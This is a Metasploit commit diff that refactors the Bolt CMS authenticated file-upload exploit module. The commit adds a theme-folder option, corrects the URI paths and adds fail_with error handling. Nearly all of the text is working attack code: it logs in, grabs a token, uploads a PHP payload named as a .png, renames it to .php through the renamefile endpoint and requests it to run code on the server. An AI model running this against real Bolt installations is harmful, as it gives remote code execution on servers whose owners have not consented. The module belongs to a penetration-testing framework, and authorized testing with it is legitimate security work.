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metasploit-framework
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Add fail_with method and other improvements

bug/bundler_fix
Roberto Soares 2015-09-09 01:11:35 -03:00
parent f08cf97224
commit 48bd2c72a0
1 changed files with 38 additions and 51 deletions
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89
modules/exploits/unix/webapp/bolt_file_upload.rb
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@ -39,15 +39,17 @@ class Metasploit3 < Msf::Exploit::Remote
register_options(
[
OptString.new('USERNAME', [true, 'The username to authenticate with']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
OptString.new('FOLDERNAME', [true, 'The theme path to web application (base-2014 is default)', 'base-2014']),
OptString.new('USERNAME', [true, 'The username to authenticate with']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
], self.class)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login')
'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
)
if res && res.code == 200 && res.body.include?('Cookies are required to log on to Bolt')
@ -64,22 +66,23 @@ class Metasploit3 < Msf::Exploit::Remote
datastore['PASSWORD']
end
def fname
datastore['FOLDERNAME']
end
def bolt_login(user, pass)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login')
'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
)
unless res
print_error("#{peer} - No response from server.")
return
end
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
session_cookie = res.get_cookies
vprint_status("#{peer} - Logging in...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login'),
'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),
'cookie' => session_cookie,
'vars_post' => {
'username' => user,
@ -88,16 +91,14 @@ class Metasploit3 < Msf::Exploit::Remote
}
)
if res && res.code == 302 && res.redirection.to_s.include?('/bolt/bolt')
return res.get_cookies
end
return res.get_cookies if res && res.code == 302 && res.redirection.to_s.include?('/bolt')
nil
end
def get_token(cookie)
def get_token(cookie, fname)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'bolt', 'bolt', 'files', 'theme', 'base-2014'),
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
'cookie' => cookie
)
@ -107,39 +108,32 @@ class Metasploit3 < Msf::Exploit::Remote
nil
end
def rename_payload(cookie, payload)
def rename_payload(cookie, payload, fname)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bolt', 'async', 'renamefile'),
'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'),
'vars_post' => {
'namespace' => 'theme',
'parent' => 'base-2014',
'parent' => fname,
'oldname' => "#{payload}.png",
'newname' => "#{payload}.php"
},
'cookie' => cookie
)
if res && res.code == 200
return true
end
return true if res && res.code == 200 && res.body.include?('1')
nil
end
def exploit
vprint_status("#{peer} - Authenticating using #{username}:#{password}...")
vprint_status("#{peer} - Authenticating using #{username}:#{password}")
cookie = bolt_login(username, password)
if cookie.nil?
print_error("#{peer} - Failed to authenticate with Bolt")
return
end
fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
vprint_good("#{peer} - Authenticated with Bolt.")
token = get_token(cookie)
if token.nil?
print_error("#{peer} - No token found.")
return
end
token = get_token(cookie, fname)
fail_with(Failure::Unknown, 'No token found.') if token.nil?
vprint_good("#{peer} - Token \"#{token}\" found.")
vprint_status("#{peer} - Preparing payload...")
@ -153,34 +147,27 @@ class Metasploit3 < Msf::Exploit::Remote
vprint_status("#{peer} - Uploading payload...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'bolt', 'bolt', 'files', 'theme', 'base-2014'),
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie
)
if res && res.code == 302
vprint_good("#{peer} - Uploaded the payload")
fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 302
vprint_good("#{peer} - Uploaded the payload.")
rename = rename_payload(cookie, payload_name)
if rename.nil?
vprint_error("#{peer} - No renamed filename")
return
end
rename = rename_payload(cookie, payload_name, fname)
fail_with(Failure::Unknown, 'No renamed filename.') if rename.nil?
php_file_name = "#{payload_name}.php"
payload_url = normalize_uri(target_uri.path, 'bolt', 'theme', 'base-2014', php_file_name)
vprint_good("#{peer} - Parsed response")
php_file_name = "#{payload_name}.php"
payload_url = normalize_uri(target_uri.path, 'theme', fname, php_file_name)
vprint_status("#{peer} - Parsed response.")
register_files_for_cleanup(php_file_name)
vprint_status("#{peer} - Executing the payload at #{payload_url}")
send_request_cgi(
'uri' => payload_url,
'method' => 'GET'
)
vprint_good("#{peer} - Executed payload")
else
print_error("#{peer} - Exploit failed. Aborting.")
end
register_files_for_cleanup(php_file_name)
vprint_status("#{peer} - Executing the payload at #{payload_url}.")
send_request_cgi(
'uri' => payload_url,
'method' => 'GET'
)
end
end